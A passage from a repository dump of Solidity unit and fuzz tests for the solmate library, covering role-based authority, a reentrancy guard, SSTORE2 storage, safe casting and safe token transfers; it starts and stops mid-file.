multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallPublicCapability() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthority() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthorityOverridesPublicCapability() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthorityOverridesUserWithRole() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testSetRoles(address user, uint8 role) public {
assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));
multiRolesAuthority.setUserRole(user, role, true);
assertTrue(multiRolesAuthority.doesUserHaveRole(user, role));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));
}
function testSetRoleCapabilities(uint8 role, bytes4 functionSig) public {
assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
}
function testSetPublicCapabilities(bytes4 functionSig) public {
assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.isCapabilityPublic(functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));
}
function testSetTargetCustomAuthority(address user, Authority customAuthority) public {
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));
multiRolesAuthority.setTargetCustomAuthority(user, customAuthority);
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(customAuthority));
multiRolesAuthority.setTargetCustomAuthority(user, Authority(address(0)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));
}
function testCanCallWithAuthorizedRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthority(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthorityOverridesPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthorityOverridesUserWithRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/ReentrancyGuard.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {ReentrancyGuard} from "../utils/ReentrancyGuard.sol";
contract RiskyContract is ReentrancyGuard {
uint256 public enterTimes;
function unprotectedCall() public {
enterTimes++;
if (enterTimes > 1) return;
protectedCall();
}
function protectedCall() public nonReentrant {
enterTimes++;
if (enterTimes > 1) return;
protectedCall();
}
function overprotectedCall() public nonReentrant {}
}
contract ReentrancyGuardTest is DSTestPlus {
RiskyContract riskyContract;
function setUp() public {
riskyContract = new RiskyContract();
}
function invariantReentrancyStatusAlways1() public {
assertEq(uint256(hevm.load(address(riskyContract), 0)), 1);
}
function testFailUnprotectedCall() public {
riskyContract.unprotectedCall();
assertEq(riskyContract.enterTimes(), 1);
}
function testProtectedCall() public {
try riskyContract.protectedCall() {
fail("Reentrancy Guard Failed To Stop Attacker");
} catch {}
}
function testNoReentrancy() public {
riskyContract.overprotectedCall();
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/RolesAuthority.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
import {RolesAuthority} from "../auth/authorities/RolesAuthority.sol";
contract RolesAuthorityTest is DSTestPlus {
RolesAuthority rolesAuthority;
function setUp() public {
rolesAuthority = new RolesAuthority(address(this), Authority(address(0)));
}
function testSetRoles() public {
assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
rolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
rolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
}
function testSetRoleCapabilities() public {
assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
}
function testSetPublicCapabilities() public {
assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithAuthorizedRole() public {
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallPublicCapability() public {
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testSetRoles(address user, uint8 role) public {
assertFalse(rolesAuthority.doesUserHaveRole(user, role));
rolesAuthority.setUserRole(user, role, true);
assertTrue(rolesAuthority.doesUserHaveRole(user, role));
rolesAuthority.setUserRole(user, role, false);
assertFalse(rolesAuthority.doesUserHaveRole(user, role));
}
function testSetRoleCapabilities(
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, false);
assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
}
function testSetPublicCapabilities(address target, bytes4 functionSig) public {
assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, true);
assertTrue(rolesAuthority.isCapabilityPublic(target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, false);
assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));
}
function testCanCallWithAuthorizedRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setUserRole(user, role, true);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setUserRole(user, role, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
}
function testCanCallPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/SSTORE2.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SSTORE2} from "../utils/SSTORE2.sol";
contract SSTORE2Test is DSTestPlus {
function testWriteRead() public {
bytes memory testBytes = abi.encode("this is a test");
address pointer = SSTORE2.write(testBytes);
assertBytesEq(SSTORE2.read(pointer), testBytes);
}
function testWriteReadFullStartBound() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 0), hex"11223344");
}
function testWriteReadCustomStartBound() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 1), hex"223344");
}
function testWriteReadFullBoundedRead() public {
bytes memory testBytes = abi.encode("this is a test");
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), 0, testBytes.length), testBytes);
}
function testWriteReadCustomBounds() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 1, 3), hex"2233");
}
function testWriteReadEmptyBound() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 3, 3);
}
function testFailReadInvalidPointer() public view {
SSTORE2.read(DEAD_ADDRESS);
}
function testFailReadInvalidPointerCustomStartBound() public view {
SSTORE2.read(DEAD_ADDRESS, 1);
}
function testFailReadInvalidPointerCustomBounds() public view {
SSTORE2.read(DEAD_ADDRESS, 2, 4);
}
function testFailWriteReadOutOfStartBound() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 41000);
}
function testFailWriteReadEmptyOutOfBounds() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 42000, 42000);
}
function testFailWriteReadOutOfBounds() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 41000, 42000);
}
function testWriteRead(bytes calldata testBytes) public {
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes)), testBytes);
}
function testWriteReadCustomStartBound(bytes calldata testBytes, uint256 startIndex) public {
if (testBytes.length == 0) return;
startIndex = bound(startIndex, 0, testBytes.length);
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), startIndex), bytes(testBytes[startIndex:]));
}
function testWriteReadCustomBounds(
bytes calldata testBytes,
uint256 startIndex,
uint256 endIndex
) public {
if (testBytes.length == 0) return;
endIndex = bound(endIndex, 0, testBytes.length);
startIndex = bound(startIndex, 0, testBytes.length);
if (startIndex > endIndex) return;
assertBytesEq(
SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex),
bytes(testBytes[startIndex:endIndex])
);
}
function testFailReadInvalidPointer(address pointer) public view {
SSTORE2.read(pointer);
}
function testFailReadInvalidPointerCustomStartBound(address pointer, uint256 startIndex) public view {
SSTORE2.read(pointer, startIndex);
}
function testFailReadInvalidPointerCustomBounds(
address pointer,
uint256 startIndex,
uint256 endIndex
) public view {
SSTORE2.read(pointer, startIndex, endIndex);
}
function testFailWriteReadCustomStartBoundOutOfRange(bytes calldata testBytes, uint256 startIndex) public {
startIndex = bound(startIndex, testBytes.length + 1, type(uint256).max);
SSTORE2.read(SSTORE2.write(testBytes), startIndex);
}
function testFailWriteReadCustomBoundsOutOfRange(
bytes calldata testBytes,
uint256 startIndex,
uint256 endIndex
) public {
endIndex = bound(endIndex, startIndex + 1, type(uint256).max);
SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/SafeCastLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SafeCastLib} from "../utils/SafeCastLib.sol";
contract SafeCastLibTest is DSTestPlus {
function testSafeCastTo248() public {
assertEq(SafeCastLib.safeCastTo248(2.5e45), 2.5e45);
assertEq(SafeCastLib.safeCastTo248(2.5e27), 2.5e27);
}
function testSafeCastTo128() public {
assertEq(SafeCastLib.safeCastTo128(2.5e27), 2.5e27);
assertEq(SafeCastLib.safeCastTo128(2.5e18), 2.5e18);
}
function testSafeCastTo96() public {
assertEq(SafeCastLib.safeCastTo96(2.5e18), 2.5e18);
assertEq(SafeCastLib.safeCastTo96(2.5e17), 2.5e17);
}
function testSafeCastTo64() public {
assertEq(SafeCastLib.safeCastTo64(2.5e18), 2.5e18);
assertEq(SafeCastLib.safeCastTo64(2.5e17), 2.5e17);
}
function testSafeCastTo32() public {
assertEq(SafeCastLib.safeCastTo32(2.5e8), 2.5e8);
assertEq(SafeCastLib.safeCastTo32(2.5e7), 2.5e7);
}
function testFailSafeCastTo248() public pure {
SafeCastLib.safeCastTo248(type(uint248).max + 1);
}
function testFailSafeCastTo128() public pure {
SafeCastLib.safeCastTo128(type(uint128).max + 1);
}
function testFailSafeCastTo96() public pure {
SafeCastLib.safeCastTo96(type(uint96).max + 1);
}
function testFailSafeCastTo64() public pure {
SafeCastLib.safeCastTo64(type(uint64).max + 1);
}
function testFailSafeCastTo32() public pure {
SafeCastLib.safeCastTo32(type(uint32).max + 1);
}
function testSafeCastTo248(uint256 x) public {
x = bound(x, 0, type(uint248).max);
assertEq(SafeCastLib.safeCastTo248(x), x);
}
function testSafeCastTo128(uint256 x) public {
x = bound(x, 0, type(uint128).max);
assertEq(SafeCastLib.safeCastTo128(x), x);
}
function testSafeCastTo96(uint256 x) public {
x = bound(x, 0, type(uint96).max);
assertEq(SafeCastLib.safeCastTo96(x), x);
}
function testSafeCastTo64(uint256 x) public {
x = bound(x, 0, type(uint64).max);
assertEq(SafeCastLib.safeCastTo64(x), x);
}
function testSafeCastTo32(uint256 x) public {
x = bound(x, 0, type(uint32).max);
assertEq(SafeCastLib.safeCastTo32(x), x);
}
function testFailSafeCastTo248(uint256 x) public pure {
x = bound(x, type(uint248).max + 1, type(uint256).max);
SafeCastLib.safeCastTo248(x);
}
function testFailSafeCastTo128(uint256 x) public pure {
x = bound(x, type(uint128).max + 1, type(uint256).max);
SafeCastLib.safeCastTo128(x);
}
function testFailSafeCastTo96(uint256 x) public pure {
x = bound(x, type(uint96).max + 1, type(uint256).max);
SafeCastLib.safeCastTo96(x);
}
function testFailSafeCastTo64(uint256 x) public pure {
x = bound(x, type(uint64).max + 1, type(uint256).max);
SafeCastLib.safeCastTo64(x);
}
function testFailSafeCastTo32(uint256 x) public pure {
x = bound(x, type(uint32).max + 1, type(uint256).max);
SafeCastLib.safeCastTo32(x);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/SafeTransferLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {ERC20} from "weird-erc20/ERC20.sol";
import {ReturnsFalseToken} from "weird-erc20/ReturnsFalse.sol";
import {MissingReturnToken} from "weird-erc20/MissingReturns.sol";
import {TransferFromSelfToken} from "weird-erc20/TransferFromSelf.sol";
import {PausableToken} from "weird-erc20/Pausable.sol";
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SafeTransferLib, ERC20 as SolmateERC20} from "../utils/SafeTransferLib.sol";
contract SafeTransferLibTest is DSTestPlus {
ReturnsFalseToken returnsFalse;
MissingReturnToken missingReturn;
TransferFromSelfToken transferFromSelf;
PausableToken pausable;
ERC20 erc20;
function setUp() public {
returnsFalse = new ReturnsFalseToken(type(uint256).max);
missingReturn = new MissingReturnToken(type(uint256).max);
transferFromSelf = new TransferFromSelfToken(type(uint256).max);
pausable = new PausableToken(type(uint256).max);
pausable.stop();
erc20 = new ERC20(type(uint256).max);
}
function testTransferWithMissingReturn() public {
verifySafeTransfer(address(missingReturn), address(0xBEEF), 1e18);
}
function testTransferWithTransferFromSelf() public {
verifySafeTransfer(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testTransferWithStandardERC20() public {
verifySafeTransfer(address(erc20), address(0xBEEF), 1e18);
}
function testTransferWithNonContract() public {
SafeTransferLib.safeTransfer(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);
}
function testTransferFromWithMissingReturn() public {
verifySafeTransferFrom(address(missingReturn), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithTransferFromSelf() public {
verifySafeTransferFrom(address(transferFromSelf), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithStandardERC20() public {
verifySafeTransferFrom(address(erc20), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithNonContract() public {
SafeTransferLib.safeTransferFrom(SolmateERC20(address(0xBADBEEF)), address(0xFEED), address(0xBEEF), 1e18);
}
function testApproveWithMissingReturn() public {
verifySafeApprove(address(missingReturn), address(0xBEEF), 1e18);
}
function testApproveWithTransferFromSelf() public {
verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testApproveWithStandardERC20() public {
verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testApproveWithNonContract() public {
SafeTransferLib.safeApprove(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);
}
function testTransferETH() public {
SafeTransferLib.safeTransferETH(address(0xBEEF), 1e18);
}
function testFailTransferWithReturnsFalse() public {
verifySafeTransfer(address(returnsFalse), address(0xBEEF), 1e18);
}
function testFailTransferWithPausable() public {
verifySafeTransfer(address(pausable), address(0xBEEF), 1e18);
}
function testFailTransferFromWithReturnsFalse() public {
verifySafeTransferFrom(address(returnsFalse), address(0xFEED), address(0xBEEF), 1e18);
}
function testFailTransferFromWithPausable() public {
verifySafeTransferFrom(address(pausable), address(0xFEED), address(0xBEEF), 1e18);
}
function testFailApproveWithReturnsFalse() public {
verifySafeApprove(address(returnsFalse), address(0xBEEF), 1e18);
}
function testFailApproveWithPausable() public {
verifySafeApprove(address(pausable), address(0xBEEF), 1e18);
}
function testTransferWithMissingReturn(address to, uint256 amount) public {
verifySafeTransfer(address(missingReturn), to, amount);
}
function testTransferWithTransferFromSelf(address to, uint256 amount) public {
verifySafeTransfer(address(transferFromSelf), to, amount);
}
function testTransferWithStandardERC20(address to, uint256 amount) public {
verifySafeTransfer(address(erc20), to, amount);
}
function testFailTransferETHToContractWithoutFallback() public {
SafeTransferLib.safeTransferETH(address(this), 1e18);
}
function testTransferWithNonContract(
address nonContract,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeTransfer(SolmateERC20(nonContract), to, amount);
}
function testTransferFromWithMissingReturn(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(missingReturn), from, to, amount);
}
function testTransferFromWithTransferFromSelf(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(transferFromSelf), from, to, amount);
}
function testTransferFromWithStandardERC20(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(erc20), from, to, amount);
}
function testTransferFromWithNonContract(
address nonContract,
address from,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeTransferFrom(SolmateERC20(nonContract), from, to, amount);
}
function testApproveWithMissingReturn(address to, uint256 amount) public {
verifySafeApprove(address(missingReturn), to, amount);
}
function testApproveWithTransferFromSelf(address to, uint256 amount) public {
verifySafeApprove(address(transferFromSelf), to, amount);
}
function testApproveWithStandardERC20(address to, uint256 amount) public {
verifySafeApprove(address(transferFromSelf), to, amount);
}
function testApproveWithNonContract(
address nonContract,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeApprove(SolmateERC20(nonContract), to, amount);
}
function testTransferETH(address recipient, uint256 amount) public {
if (uint256(uint160(recipient)) <= 18) return;
amount = bound(amount, 0, address(this).balance);
SafeTransferLib.safeTransferETH(recipient, amount);
}
function testFailTransferWithReturnsFalse(address to, uint256 amount) public {
verifySafeTransfer(address(returnsFalse), to, amount);
}
function testFailTransferWithPausable(address to, uint256 amount) public {
verifySafeTransfer(address(pausable), to, amount);
}
function testFailTransferFromWithReturnsFalse(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(returnsFalse), from, to, amount);
}
function testFailTransferFromWithPausable(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(pausable), from, to, amount);
}
function testFailApproveWithReturnsFalse(address to, uint256 amount) public {
verifySafeApprove(address(returnsFalse), to, amount);
}
function testFailApproveWithPausable(address to, uint256 amount) public {
verifySafeApprove(address(pausable), to, amount);
}
function testFailTransferETHToContractWithoutFallback(uint256 amount) public {
SafeTransferLib.safeTransferETH(address(this), amount);
}
function verifySafeTransfer(
address token,
address to,
uint256 amount
) internal {
uint256 preBal = ERC20(token).balanceOf(to);
SafeTransferLib.safeTransfer(SolmateERC20(address(token)), to, amount);
uint256 postBal = ERC20(token).balanceOf(to);
if (to == address(this)) {
assertEq(preBal, postBal);
} else {
assertEq(postBal - preBal, amount);
}
}
function verifySafeTransferFrom(
address token,
address from,
address to,
uint256 amount
